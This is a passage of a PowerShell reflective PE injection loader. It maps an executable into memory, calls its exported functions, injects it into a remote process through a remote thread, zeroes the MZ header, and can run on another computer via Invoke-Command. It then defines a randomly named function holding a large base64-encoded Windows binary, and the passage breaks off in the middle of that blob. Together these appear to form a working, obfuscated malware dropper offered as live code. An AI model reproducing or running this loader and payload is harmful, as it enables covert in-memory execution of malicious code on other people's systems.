  2637.                     'String' {
  2638.                         Write-Verbose "Calling function with String return type"
  2639.                                     [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc"
  2640.                                     if ($StringFuncAddr -eq [IntPtr]::Zero)
  2641.                                     {
  2642.                                             Throw "Couldn't find function address."
  2643.                                     }
  2644.                                     $StringFuncDelegate = Get-DelegateType @() ([IntPtr])
  2645.                                     $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate)
  2646.                                     [IntPtr]$OutputPtr = $StringFunc.Invoke()
  2647.                                     $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr)
  2648.                                     Write-Output $Output
  2649.                     }
  2650.  
  2651.                     'Void' {
  2652.                         Write-Verbose "Calling function with Void return type"
  2653.                                     [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
  2654.                                     if ($VoidFuncAddr -eq [IntPtr]::Zero)
  2655.                                     {
  2656.  
  2657.                                     }
  2658.                                         else
  2659.                                         {
  2660.                                     $VoidFuncDelegate = Get-DelegateType @() ([Void])
  2661.                                     $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate)
  2662.                                     $VoidFunc.Invoke() | Out-Null
  2663.                                         }
  2664.                     }
  2665.                 }
  2666.  
  2667.  
  2668.  
  2669.                 }
  2670.  
  2671.                 elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
  2672.                 {
  2673.                         $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc"
  2674.                         if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
  2675.                         {
  2676.  
  2677.                         }
  2678.                         else{
  2679.                         $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
  2680.                         $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
  2681.  
  2682.  
  2683.                         $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
  2684.                         }
  2685.                 }
  2686.  
  2687.  
  2688.  
  2689.                 if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
  2690.                 {
  2691.  
  2692.                 }
  2693.                 else
  2694.                 {
  2695.  
  2696.  
  2697.  
  2698.  
  2699.  
  2700.  
  2701.                 }
  2702.  
  2703.                 Write-Verbose "Done!"
  2704.         }
  2705.  
  2706.         Main
  2707. }
  2708.  
  2709.  
  2710. Function Main
  2711. {
  2712.         if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
  2713.         {
  2714.                 $DebugPreference  = "Continue"
  2715.         }
  2716.  
  2717.         Write-Verbose "PowerShell ProcessID: $PID"
  2718.  
  2719.  
  2720.         $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''
  2721.  
  2722.     if ($e_magic -ne 'MZ')
  2723.     {
  2724.         throw 'PE is not a valid PE file.'
  2725.     }
  2726.  
  2727.         if (-not $DoNotZeroMZ) {
  2728.  
  2729.  
  2730.                 $PEBytes[0] = 0
  2731.                 $PEBytes[1] = 0
  2732.         }
  2733.  
  2734.  
  2735.         if ($ExeArgs -ne $null -and $ExeArgs -ne '')
  2736.         {
  2737.                 $ExeArgs = "ReflectiveExe $ExeArgs"
  2738.         }
  2739.         else
  2740.         {
  2741.                 $ExeArgs = "ReflectiveExe"
  2742.         }
  2743.  
  2744.         if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
  2745.         {
  2746.                 Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR)
  2747.         }
  2748.         else
  2749.         {
  2750.                 Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName
  2751.         }
  2752. }
  2753.  
  2754. Main
  2755. }
  2756.  
  2757. function Invoke-OPHSYBJAZDMPL
  2758. {
  2759.  
  2760. $PEBytes32 = "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AABoYPAAEOgtPQAAg8RQxkXPAI1FwFBqBGoEaFwKAABoYPAAEOgPPQAAjUXIxkXEAFBXag9o+QEAAGhg8AAQ6PU8AACNRfzGRcsAiYX0/v//M/+NRezHhfz+//+nEQAQiYUA////R41F6MeFCP///4gRABCJhQz///+NReSJhRj///+NReCJhST///+NRdxqBVmJhTD///+NRdhqAlqJhTz///+NRdSJhUj///+NRdBqBomVNP///4mVQP///1qJhVT///+NRbCJjfj+//+JjQT///+JjRD////HhRT///9kEgAQx4Uc////BgAAAMeFIP///34QABCJvSj////HhSz///8ZEwAQx4U4////BBIAEMeFRP///zQSABCJjUz////HhVD///+REAAQiZVY////x4Vc////FhEAEImFYP///41FqImFbP///41FzImFeP///41FwIlFhI1FyIlFkI2F9P7//2oOUFaJjWT////HhWj///8pEQAQiY1w////x4V0////aREAEImNfP///8dFgNYQABCJVYjHRYzDEAAQiVWUx0WYaxAAEOhjRAAA/3W8i/CNhcT+//9Q6HagAABT6CEpAACDxECF9nUHM8DptAIAAOjJCQAAoxTZARC7YPAAEI1F8FBqCGoNaOMEAABT6EI7AAAzwGaJRfiNRZxQaghqBmhdBAAAU+gpOwAAM8BmiUWkjYXo/v//UGoKagtoVAkAAFPoDTsAADPAUGogaADYARBmiYXy/v//6FQ6AACDxEijDNkBEOg1LwAAoxDZARCFwHUPjUXwUOjaPgAAWaMQ2QEQ6DEDAACjCNkBEOhLMAAAoxjZARCFwHUPjUXwUOizPgAAWaMY2QEQ6JUrAACjHNkBEIXAdQ+NRfBQ6JY+AABZoxzZARDo5CwAAKMg2QEQhcB1D41F8FDoeT4AAFmjINkBEOjjLQAAoyTZARCFwHUPjUXwUOhcPgAAWaMk2QEQ6OYwAACFwI2V6P7//41NnA9EylHoPT4AAFmjKNkBEOhCLwAAoyzZARCFwHUPjUXwUOggPgAAWaMs2QEQjUW4UOhDKwAAa024FovwagBRVuhdOQAAVqMw2QEQ6KQnAADoVzEAAPfYG8CD4OqDwFajgNkBEOjQBgAA6LUHAADoOgUAAI2FtP7//1BqDGoEaOoFAABT6Lw5AAAzwGaJhcD+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